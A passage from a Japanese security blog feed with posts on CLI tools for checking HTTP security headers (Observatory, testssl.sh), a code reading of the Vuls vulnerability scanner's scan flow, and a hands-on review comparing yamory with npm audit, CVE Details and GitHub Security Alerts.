title="f:id:security_index:20191110113807p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110113807.png" alt="f:id:security_index:20191110113807p:plain" /></p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110113853p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110113853.png" alt="f:id:security_index:20191110113853p:plain" /></p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110113950p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110113950.png" alt="f:id:security_index:20191110113950p:plain" /></p> <p> </p> <p>上記のように、<a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a>形式でWebツールと同様の内容が出力されます。</p> <p>scoreに関する情報も出力されます。</p> <p>綺麗に整っているため<a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a>の出力結果を<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%C5%AA">機械的</a>に処理して2次利用する場合にも有効だと思います。</p> <p> </p> <p>また、オプションもいくつか用意されており、出力形式を<a class="keyword" href="http://d.hatena.ne.jp/keyword/csv">csv</a>に変更したり、簡単なレポートのみを出力するなどもできます。</p> <p> </p> <p>observatory <a class="keyword" href="http://d.hatena.ne.jp/keyword/github">github</a>.com --format report の実行結果、以下のように出力されます。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110114353p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110114353.png" alt="f:id:security_index:20191110114353p:plain" /></p> <p> </p> <p>会社などでこのツールを自動化させ、「Score ~点以上にすること」、「x-frame-optionは必ず付けること(Score が5になること)」のような簡単なチェックツールとして利用することもできそうです。</p> <p> </p> <p>たまに確認するだけであれば<a class="keyword" href="http://d.hatena.ne.jp/keyword/Chrome">Chrome</a>などブラウザに付いている「<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C7%A5%D9%A5%ED%A5%C3%A5%D1">デベロッパ</a>ーツール」でも良いのですが、頻繁に確認する機会のある方はこういったツールを利用する方が楽かもしれません。</p> <p> </p> <h4 id="testssl">testssl</h4> <p><a href="https://github.com/drwetter/testssl.sh">GitHub - drwetter/testssl.sh: Testing TLS/SSL encryption anywhere on any port</a></p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110105657p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110105657.png" alt="f:id:security_index:20191110105657p:plain" /></p> <p> </p> <p>こちらは、<a class="keyword" href="http://d.hatena.ne.jp/keyword/SSL">SSL</a>/<a class="keyword" href="http://d.hatena.ne.jp/keyword/TLS">TLS</a> cipher protocolの検証ツールですが、HTTPセキュリティヘッダーも同時に確認することができます。</p> <p> </p> <p>インストールもとても簡単にでき、以下のコマンドでインストールから<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>のスキャンまでできます。</p> <p> </p> <p>git clone --depth 1 <a href="https://github.com/drwetter/testssl.sh.git">https://github.com/drwetter/testssl.sh.git</a></p> <p>cd testssl.sh</p> <p>./testssl.sh <a href="https://github.com">https://github.com</a></p> <p> </p> <p>以下が実行した出力の一部です。</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/SSL">SSL</a>/<a class="keyword" href="http://d.hatena.ne.jp/keyword/TLS">TLS</a>の検証がメインのため、protocolやcipherが初めは表示されます。</p> <p>また、結果の表示まで時間も少しかかります。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110110418p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110110418.png" alt="f:id:security_index:20191110110418p:plain" /></p> <p> </p> <p>出力の中程にHTTPヘッダーに関する結果があります。</p> <p>HSTSやKey Pining、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Cookie">Cookie</a>のSecure属性、HttpOnly属性、X-<a class="keyword" href="http://d.hatena.ne.jp/keyword/XSS">XSS</a>-Protectionなども確認することができます。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110111014p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110111014.png" alt="f:id:security_index:20191110111014p:plain" /></p> <p> </p> <p>オプションも多く提供されているため、HTTPヘッダーの出力のみに絞って、かつ<a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a>形式で出力させることも可能です。</p> <p> </p> <p>./testssl.sh -h --<a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a> <a href="https://github.com">https://github.com</a></p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110111417p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110111417.png" alt="f:id:security_index:20191110111417p:plain" /></p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110111532p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110111532.png" alt="f:id:security_index:20191110111532p:plain" /></p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a>で出力されるので、出力結果をパースして自由に扱えるのはとても便利だと感じます。</p> <p> </p> <p>自動化のツールとしてこのツールを組み込んで利用することもできそうです。</p> <p> </p> <h3 id="参考">参考</h3> <h4 id="OWASP-Secure-Headers-Project">OWASP Secure Headers Project</h4> <p><a href="https://www.owasp.org/index.php/OWASP_Secure_Headers_Project">OWASP Secure Headers Project - OWASP</a></p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110115403p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110115403.png" alt="f:id:security_index:20191110115403p:plain" /></p> <p> </p> <p>OWASP Secure Headers Projectの<a href="https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#tab=Technical_Resources">Technical Resources</a>では、今回紹介したツール以外の情報がいくつか紹介されています。</p> <p> </p> <p>また、セキュリティヘッダーのブラウザのサポート状況、Best Practice (<a class="keyword" href="http://d.hatena.ne.jp/keyword/Apache">Apache</a>やnginxなどでの設定方法など) も紹介されています。</p> <p> </p> <p>メンテナンスはまだされているようです。</p> <p> </p> <p>また、<a href="https://oshp.bsecteam.com/summary">SecureHeaders</a>ではHTTPセキュリティヘッダーが世の中的にどれくらい利用されているかの統計情報を確認することができます。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110122144p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110122144.png" alt="f:id:security_index:20191110122144p:plain" /></p> <p>  </p> <p><a href="https://amzn.to/2qEXWnY">Real World HTTP</a></p> <p><a href="https://amzn.to/2NZJhf4">Webを支える技術 ―― HTTP,URI,HTML,そしてREST</a></p> <p> </p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Twitter">Twitter</a> アカウント</p> <p><a href="https://twitter.com/security_index">Security Index (@security_index) | Twitter</a></p> security_index Vulsのコードを読む その1 全体像の把握 hatenablog://entry/26006613459975104 2019-11-04T16:28:04+09:00 2020-07-20T13:43:14+09:00 脆弱性スキャナ Vulsのコードを読んで理解を深めていきたいと思います。 GitHub - future-architect/vuls: Agent-less vulnerability scanner for Linux, FreeBSD, Container Image, Running Container, WordPress, Programming language libraries, Network devices 今回は、scan周りに注目してvulsのコードの全体像の把握を行なっています。 <p>脆弱性スキャナ Vulsのコードを読んで理解を深めていきたいと思います。</p> <p> </p> <p><a href="https://github.com/future-architect/vuls">GitHub - future-architect/vuls: Agent-less vulnerability scanner for Linux, FreeBSD, Container Image, Running Container, WordPress, Programming language libraries, Network devices</a></p> <p><cite class="hatena-citation"> </cite></p> <p><img class="hatena-fotolife" title="f:id:security_index:20191104162708p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191104/20191104162708.png" alt="f:id:security_index:20191104162708p:plain" /></p> <p> </p> <p>今回は、scan周りに注目してvulsのコードの全体像の把握を行なっています。</p> <ul class="table-of-contents"> <li><a href="#全体像">全体像</a><ul> <li><a href="#maingo">main.go</a></li> <li><a href="#commands">commands/ </a></li> <li><a href="#scan">scan/</a></li> </ul> </li> <li><a href="#その他">その他</a><ul> <li><a href="#gomod">go.mod</a></li> <li><a href="#gosum">go.sum</a></li> <li><a href="#owasp-dependency-check">owasp-dependency-check/</a></li> </ul> </li> </ul> <p> </p> <h3 id="全体像">全体像</h3> <h4 id="maingo">main.go</h4> <p>mainパッケージのmain関数があり、一番初めに実行される部分。</p> <p>コマンドラインの引数を読み取り、その引数に割り当てられた機能を実行する。</p> <p>Googleの<a href="https://github.com/google/subcommands">subcommands</a>というGoのパッケージを使ってコマンドラインツールの作成を行なっています。</p> <p> </p> <p>以下のsubcommands.Registerの部分でサブコマンドの登録を行なっています。</p> <p>登録されるサブコマンドの詳細は、次に説明する commands/ ディレクトリの中に書かれています。</p> <p> </p> <blockquote> <p>func main() {<br /> subcommands.Register(subcommands.HelpCommand(), "")<br /> subcommands.Register(subcommands.FlagsCommand(), "")<br /> subcommands.Register(subcommands.CommandsCommand(), "")<br /> subcommands.Register(&amp;commands.DiscoverCmd{}, "discover")<br /> subcommands.Register(&amp;commands.TuiCmd{}, "tui")<br /> subcommands.Register(&amp;commands.<strong>ScanCmd{}</strong>, "scan")<br /> subcommands.Register(&amp;commands.HistoryCmd{}, "history")<br /> subcommands.Register(&amp;commands.ReportCmd{}, "report")<br /> subcommands.Register(&amp;commands.ConfigtestCmd{}, "configtest")<br /> subcommands.Register(&amp;commands.ServerCmd{}, "server")</p> </blockquote> <p> </p> <p>今回は、scan周りについて注目していきたいので<strong>ScanCmd{} (scan.go)</strong>に焦点を当てて進めていきます。</p> <p> </p> <h4 id="commands">commands/ </h4> <p>- configtest.go<br />- discover.go<br />- history.go<br />- report.go<br />- <strong>scan.go</strong><br />- server.go<br />- tui.go<br />- util.go</p> <p> </p> <p>subcommandsで割り当てるコマンドが書かれている。</p> <p>以下のコードは<strong>scan.go</strong>の抜粋です。</p> <p> </p> <blockquote> <p>// Name return subcommand name<br />func (*ScanCmd) <strong>Name()</strong> string { return "scan" }</p> <p> </p> <p>// Synopsis return synopsis<br />func (*ScanCmd) <strong>Synopsis()</strong> string { return "Scan vulnerabilities" }</p> <p> </p> <p>// Usage return usage<br />func (*ScanCmd) <strong>Usage()</strong> string {<br /> return `scan:<br /> scan<br />  [-config=/path/to/config.toml]<br />  [-results-dir=/path/to/results]</p> <p>  ...</p> <p>`<br />}</p> <p> </p> <p>// SetFlags set flag<br />func (p *ScanCmd) <strong>SetFlags(</strong>f *flag.FlagSet) {<br /> f.BoolVar(&amp;c.Conf.Debug, "debug", false, "debug mode")</p> <p> ....</p> <p>}</p> <p> </p> <p>// Execute execute<br />func (p *ScanCmd) <strong>Execute</strong>(_ context.Context, f *flag.FlagSet, _ ...interface{}) subcommands.ExitStatus {</p> <p>...</p> <p>}</p> </blockquote> <p> </p> <p><strong>Name()</strong>に"scan"</p> <p><strong>Synopsis()</strong>に"Scan vulnerabilities"</p> <p><strong>Usage()</strong>に[-config=/path/to/config.toml]</p> <p>をreturnするようにすることで</p> <p>vuls -help 時にこれらの内容を表示するようにできます。</p> <p> </p> <blockquote> <p>$ vuls -help<br />Usage: vuls &lt;flags&gt; &lt;subcommand&gt; &lt;subcommand args&gt;</p> <p>Subcommands:<br /> commands   list all command names<br /> flags      describe all known top-level flags<br /> help      describe subcommands and their syntax</p> <p>Subcommands for scan:<br /> scan      Scan vulnerabilities</p> </blockquote> <p>  </p> <p><strong>SetFlags()</strong>ではdebugモードのon/offなどのフラグなどの制御のための設定を記述します。</p> <p>ここも、vuls scan -help 時にflag一覧を表示することができます。</p> <p> </p> <blockquote> <p>$ vuls scan -help<br />scan:<br /> scan<br />  [-config=/path/to/config.toml]<br /> -debug<br />  debug mode</p> </blockquote> <p> </p> <p><strong>Execute()</strong>の中身が実際に実行されるコードになります。</p> <p>フラグに設定された条件に合わせて処理を変えることができます。</p> <p> </p> <h4 id="scan">scan/</h4> <p> - amazon.go</p> <p> - centos.go</p> <p> - <strong>container.go</strong></p> <p> - debian.go</p> <p> - <strong>serverapi.go</strong></p> <p> ...</p> <p> </p> <p>これらのファイルは、commands/scan.go のExecute()の処理の中の具体的なscan機能を実現している部分。</p> <p>commands/scan.goからはscan/serverapi.go の関数が呼ばれ、serverapi.goがcontainer.goの関数を呼ぶというフローになっている。</p> <p> </p> <p>commands/scan.goのExecute()の一部</p> <blockquote> <p>// commands/scan.go</p> <p> </p> <p>util.Log.Info("Detecting Server/Container OS... ")<br /> if err := <strong>scan.InitServers(p.timeoutSec)</strong>; err != nil {<br /> util.Log.Errorf("Failed to init servers: %+v", err)<br /> return subcommands.ExitFailure<br /> }</p> </blockquote> <p> </p> <p>scan.<strong>InitServers()</strong>はscan/serverapi.goの関数</p> <blockquote> <p>// scan/serverapi.go</p> <p> </p> <p>// InitServers detect the kind of OS distribution of target servers<br />func <strong>InitServers(timeoutSec int)</strong> error {</p> <p> needBaseServers, scanContainer, scanImage := needScans()</p> <p> // use global servers, errServers when scan containers and images<br /> servers, errServers = detectServerOSes(timeoutSec)</p> <p>...</p> <p>func detectServerOSes(timeoutSec int) (servers, errServers []osTypeInterface) {</p> <p> ...</p> <p> osTypeChan &lt;- detectOS(s)</p> <p>...</p> <p>func detectOS(c config.ServerInfo) (osType osTypeInterface) {</p> <p> ...</p> <p> itsMe, osType, fatalErr = <strong>detectContainerImage(c)</strong></p> </blockquote> <p> </p> <p><strong>detectContainerImage()</strong>がscan/container.goの関数となっています。</p> <p> </p> <p>scan/serverapi.goがcommands/scan.goから呼ばれるAPIとなっており、scan/container.goなどがより詳細な機能を実現する役割になっているようです。</p> <p> </p> <p>vulsのscanを実行した時の流れ</p> <p>main.go -&gt; commands/scan.go -&gt; scan/serverapi.go -&gt; scan/container.go</p> <p> </p> <p>Github上で関数名をダブルクリックするとその関数の定義や参照している部分へ簡単に飛べる機能がありコードを読み進めるのが結構楽にできます。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191104162453p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191104/20191104162453.png" alt="f:id:security_index:20191104162453p:plain" /></p> <p> </p> <h3 id="その他">その他</h3> <h4 id="gomod">go.mod</h4> <p>Go 1.11から利用できるもの</p> <p>依存ライブラリ一覧が記載されている</p> <p>go mod initで初期化し、go buildを実行すると自動で生成される</p> <p><a href="https://syfm.hatenablog.com/entry/2019/08/10/170730">https://syfm.hatenablog.com/entry/2019/08/10/170730</a></p> <p> </p> <p><a href="https://qiita.com/propella/items/e49bccc88f3cc2407745">https://qiita.com/propella/items/e49bccc88f3cc2407745</a></p> <p><a href="https://qiita.com/kwmt@github/items/f16c8a7e07e281afb9a2">https://qiita.com/kwmt@github/items/f16c8a7e07e281afb9a2</a></p> <p> </p> <h4 id="gosum">go.sum</h4> <p>依存ライブラリ一覧とそのハッシュ値を含むもの</p> <p>ビルド時に正しいかどうかの確認がされる</p> <p>  </p> <p> </p> <h4 id="owasp-dependency-check">owasp-dependency-check/</h4> <p>Java, .Net、実験段階だがPython, Ruby, PHP (composer), Node.jsの依存ライブラリの脆弱性をスキャンするもの。</p> <p><a href="https://jeremylong.github.io/DependencyCheck/">https://jeremylong.github.io/DependencyCheck/</a></p> <p><a href="https://kazuhira-r.hatenablog.com/entry/2019/06/29/213406">https://kazuhira-r.hatenablog.com/entry/2019/06/29/213406</a></p> <p><a href="https://github.com/jeremylong/DependencyCheck">https://github.com/jeremylong/DependencyCheck</a></p> <p> </p> <p>owasp-dependecy-checkは気になるので今度詳細に調べて見ます。</p> <p> </p> <p>次回はscan周りをさらに掘り下げて調べてみたいと思います。</p> <p> </p> <p>その2、その3、その4はこちら。</p> <p><a href="https://security-index.info/entry/2019/11/17/205040">Vulsのコードを読む その2 go-cve-dictionary を理解する、バグを見つけてプルリクを出してマージされるまで - Security Index</a></p> <p><a href="https://security-index.info/entry/2019/12/07/222719">Vulsのコードを読む その3 Vuls scanを調べてみた - Security Index</a></p> <p><a href="https://security-index.info/entry/2019/12/22/220855">Vulsのコードを読む その4 Vuls reportを調べてみた - Security Index</a></p> <p> </p> <p> </p> <p><a href="https://amzn.to/2C6eCrf">スターティングGo言語</a></p> <p><a href="https://amzn.to/2C8weTd">Goならわかるシステムプログラミング</a></p> <p> </p> security_index ビズリーチのOSS 脆弱性管理サービス yamory 無料トライアル 使ってみた 他のツールとの比較などのレビュー hatenablog://entry/26006613455723047 2019-10-27T21:00:00+09:00 2020-06-19T21:23:54+09:00 ビズリーチのOSS 脆弱性管理サービス yamory がついに無料トライアルできるようになったので使ってみました。 以前「ビズリーチのOSS 脆弱性管理サービス yamoryについて調査 どんなことができて、どう実現されているのか」という記事を書きました。 実際に使ってみると、NVD (National Vulnerability Database)のデータをただ集めて、cpeと照らし合わせて使っているだけというものではなく、色々と工夫されており、UIも綺麗でいい感じなツールでした。 <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D3%A5%BA%A5%EA%A1%BC%A5%C1">ビズリーチ</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a> <a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>管理サービス <a href="https://yamory.io/">yamory</a> がついに無料トライアルできるようになったので使ってみました。</p> <p> </p> <p>以前「<a href="https://security-index.hatenablog.com/entry/2019/10/14/171243">ビズリーチのOSS 脆弱性管理サービス yamoryについて調査 どんなことができて、どう実現されているのか</a>」という記事を書きました。</p> <p> </p> <p>実際に使ってみると、NVD (<a href="https://nvd.nist.gov/">National Vulnerability Database</a>)のデータをただ集めて、<a class="keyword" href="http://d.hatena.ne.jp/keyword/cpe">cpe</a>と照らし合わせて使っているだけというものではなく、色々と工夫されており、UIも綺麗でいい感じなツールでした。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191026170733p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191026/20191026170733.png" alt="f:id:security_index:20191026170733p:plain" /></p> <p> </p> <p> </p> <ul class="table-of-contents"> <li><a href="#yamoryとは">yamoryとは?</a></li> <li><a href="#トライアル">トライアル</a><ul> <li><a href="#npmでpackagejsonの作成">npmでpackage.jsonの作成</a></li> <li><a href="#yamoryでスキャンする">yamoryでスキャンする</a></li> <li><a href="#他のサービスとの比較">他のサービスとの比較</a><ul> <li><a href="#CVE-Detailsの場合">CVE Detailsの場合</a></li> <li><a href="#yamoryの場合">yamoryの場合</a></li> <li><a href="#npm-auditの場合">npm auditの場合</a></li> <li><a href="#Github-Security-Alertsの場合">Github Security Alertsの場合</a></li> <li><a href="#まとめ">まとめ</a></li> </ul> </li> </ul> </li> <li><a href="#気になる点">気になる点</a><ul> <li><a href="#検出ミス">検出ミス</a></li> <li><a href="#競合となるツール">競合となるツール</a></li> </ul> </li> <li><a href="#追加機能の提案">追加機能の提案</a><ul> <li><a href="#ticket管理機能">ticket管理機能</a></li> <li><a href="#セキュリティニュース配信機能">セキュリティニュース配信機能</a></li> </ul> </li> <li><a href="#まとめ-1">まとめ</a><ul> <li><a href="#感想">感想</a></li> <li><a href="#その他">その他</a></li> </ul> </li> </ul> <p> </p> <h3 id="yamoryとは">yamoryとは?</h3> <p>yamoryは<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>のレポジトリや<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B3%A5%DE%A5%F3%A5%C9%A5%E9%A5%A4%A5%F3">コマンドライン</a>からpackage.<a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a>ファイルなどのパッケージ管理情報をスキャンし、使われている<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を特定し、優先順位づけして表示してくれるサービスとなっています。</p> <p> </p> <p>公式のサイトの<a href="https://yamory.io/features/">主な機能</a>、<a href="https://yamory.io/docs/">使い方</a>、のページに詳しく書かれています。</p> <p> </p> <p>また、以前私が書きました「<a href="https://security-index.hatenablog.com/entry/2019/10/14/171243">ビズリーチのOSS 脆弱性管理サービス yamoryについて調査 どんなことができて、どう実現されているのか</a>」にも機能とどうやって実現しているのかの考察を書いていますので参考にしていただければ思います。</p> <p> </p> <p> </p> <h3 id="トライアル">トライアル</h3> <h4 id="npmでpackagejsonの作成">npmでpackage.<a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a>の作成</h4> <p>Gradle(<a class="keyword" href="http://d.hatena.ne.jp/keyword/Java">Java</a>)のbuild.gradl、npm(Node.js)のpackage.<a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a>、pip(<a class="keyword" href="http://d.hatena.ne.jp/keyword/python">python</a>)のrequirements.txtなどに対応していますが、今回は私が使いやすいnpmで利用してみました。</p> <p> </p> <p>yamoryではpackage.<a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a>さえあれば動作確認ができると思われますので、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B5%A5%F3%A5%D7%A5%EB%A5%BD%A1%BC%A5%B9">サンプルソース</a>コードとしてpackage.<a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a>のみのものを作成して利用しました。</p> <p><a href="https://github.com/s-index/yamo-1">Github</a></p> <p> </p> <p>package.<a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a>には以下の2つのみを含めています。</p> <p> </p> <p>・"<a class="keyword" href="http://d.hatena.ne.jp/keyword/jquery">jquery</a>": "^3.0.0",<br />・"lodash": "^4.17.11"</p> <p> </p> <p>今回はあえてバージョンの古いものを設定し、どのような結果が出るのか検討しています。</p> <p>同じpackage.<a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a>は以下のようなコマンドで作成できます。</p> <p> </p> <p>npm init</p> <p>npm install <a class="keyword" href="http://d.hatena.ne.jp/keyword/jquery">jquery</a>@3.0.0</p> <p>npm install lodash@4.17.11</p> <p> </p> <p> </p> <h4 id="yamoryでスキャンする">yamoryでスキャンする</h4> <p>yamoryでスキャンするためには、まず<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>と連携する必要があります。</p> <p>詳しくは公式のこのページに記載されていますが、以下のように<a class="keyword" href="http://d.hatena.ne.jp/keyword/OAuth%C7%A7%BE%DA">OAuth認証</a>で簡単にできます。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191026173018p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191026/20191026173018.png" alt="f:id:security_index:20191026173018p:plain" /></p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/OAuth%C7%A7%BE%DA">OAuth認証</a>後、スキャンしたいrepositoryを選択することでスキャンを行うことができます。</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C0%A5%C3%A5%B7%A5%E5">ダッシュ</a>ボードに以下のようなスキャン結果が表示されます。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191026173453p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191026/20191026173453.png" alt="f:id:security_index:20191026173453p:plain" /></p> <p> </p> <p>今回の場合は、Immediateが2件、灰色のリスク低に2件の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>が表示されています。</p> <p> </p> <p> </p> <h4 id="他のサービスとの比較">他のサービスとの比較</h4> <h5 id="CVE-Detailsの場合">CVE Detailsの場合</h5> <p>NVDの情報などを使って<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>情報を検索できる <a href="https://www.cvedetails.com/">CVE Details</a> を使ってlodash@4.17.11の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を調査してみます。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191026211934p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191026/20191026211934.png" alt="f:id:security_index:20191026211934p:plain" /></p> <p> </p> <p>lodash@4.17.11の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>一覧を見てみると以下のように1件表示されます。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191026212256p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191026/20191026212256.png" alt="f:id:security_index:20191026212256p:plain" /></p> <p><br />また、CVE-2019-10744をクリックすることで<a href="https://www.cvedetails.com/cve/CVE-2019-10744/">詳細</a>を見ることができます。</p> <p>そこにはMetasploitに登録されているかどうかの確認ができます。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191026213350p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191026/20191026213350.png" alt="f:id:security_index:20191026213350p:plain" /></p> <p> </p> <p>上記のようにMetasploitにない場合も多いです。</p> <p>ない場合には、世の中には攻撃コードがまだ出回っていないと考えられるかもしれません。</p> <p> </p> <p> </p> <h5 id="yamoryの場合">yamoryの場合</h5> <p>yamoryの場合も同様にCVE-2019-10744の1つのみが<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>として検出されます。</p> <p>しかし、内容を見てますと</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191026213744p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191026/20191026213744.png" alt="f:id:security_index:20191026213744p:plain" /></p> <p> </p> <p> 上記のように日本語での説明で、<a class="keyword" href="http://d.hatena.ne.jp/keyword/DoS">DoS</a>やRCEのリスクやPoCがある、という情報が表示されます。</p> <p> </p> <p>CVE DetailsではNVDに書かれている情報の「vulnerable to Prototype Pollution」やCWE ID 20 (Improper Input Validation)という情報のみでここまで詳しい情報はありません。</p> <p> </p> <p>また、PoCに関してもMetasploitにはなく、<a href="https://www.exploit-db.com/search?cve=2019-10744">exploit-dbで検索</a>しても出てきません。</p> <p> </p> <p>このように、<a href="https://security-index.hatenablog.com/entry/2019/10/14/171243">前回の記事</a>で書いたようにNVDやexploit dbのデータを使った単純な<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>スキャナとは違ったもののように思われます。</p> <p> </p> <p>yamoryではPoCのタブから具体的なPoCの確認を行うことができます。</p> <p>今回のケースのPoCに関して、このブログで載せるのはあまり良くないと思うので載せませんが、具体的なPoCを確認することができます。</p> <p>(本来有償のツールですので、yamoryのスキャン結果のデータ部分はあまり扱わないように気をつけています)</p> <p> </p> <p> </p> <h5 id="npm-auditの場合">npm auditの場合</h5> <p>npm v6.0.0よりnpm auditという<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の監査機能があります。</p> <p>内容としては、package.<a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a>を見て<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>がないか確認するというもので、yamoryと同じようなことをしています。</p> <p>今回のケースでnpm auditをした結果、以下のようになりました。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191026220046p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191026/20191026220046.png" alt="f:id:security_index:20191026220046p:plain" /></p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/jquery">jquery</a>、lodashそれぞれ1件ずつ、合計2件検出されました。</p> <p>lodashの方のMore infoのページを見てみると</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191026220827p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191026/20191026220827.png" alt="f:id:security_index:20191026220827p:plain" /></p> <p> </p> <p>ここにもCVEの情報が乗っていませんが、Resourcesの<a href="https://snyk.io/vuln/SNYK-JS-LODASH-450202">Snyk Advisory</a>をみるとCVEやより詳細なPoCの情報などが掲載されています。</p> <p> </p> <p>npm auditと比較しても、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>情報の豊富さ、対応するかどうかの判断のしやすさなど、yamoryを使うメリットはありそうです。</p> <p> </p> <p> </p> <h5 id="Github-Security-Alertsの場合"><a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a> Security Alertsの場合</h5> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>にもrepository内の依存関係から<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を発見しアラートを出す機能 <a href="https://help.github.com/ja/github/managing-security-vulnerabilities/about-security-alerts-for-vulnerable-dependencies">Security Alerts</a> があります。</p> <p>他と同様にpackage.<a class="keyword" href="http://d.hatena.ne.jp/keyword/json">json</a>などを見て判断しています。</p> <p>現在、<a href="https://help.github.com/ja/github/visualizing-repository-data-with-graphs/listing-the-packages-that-a-repository-depends-on">公式ページ</a>によると<a class="keyword" href="http://d.hatena.ne.jp/keyword/Java">Java</a>, <a class="keyword" href="http://d.hatena.ne.jp/keyword/Scala">Scala</a>, <a class="keyword" href="http://d.hatena.ne.jp/keyword/Javascript">Javascript</a>,<a class="keyword" href="http://d.hatena.ne.jp/keyword/%20.Net"> .Net</a>, <a class="keyword" href="http://d.hatena.ne.jp/keyword/Python">Python</a>, <a class="keyword" href="http://d.hatena.ne.jp/keyword/Ruby">Ruby</a>, <a class="keyword" href="http://d.hatena.ne.jp/keyword/PHP">PHP</a>がサポートされているようです。</p> <p> </p> <p><img class="hatena-fotolife" 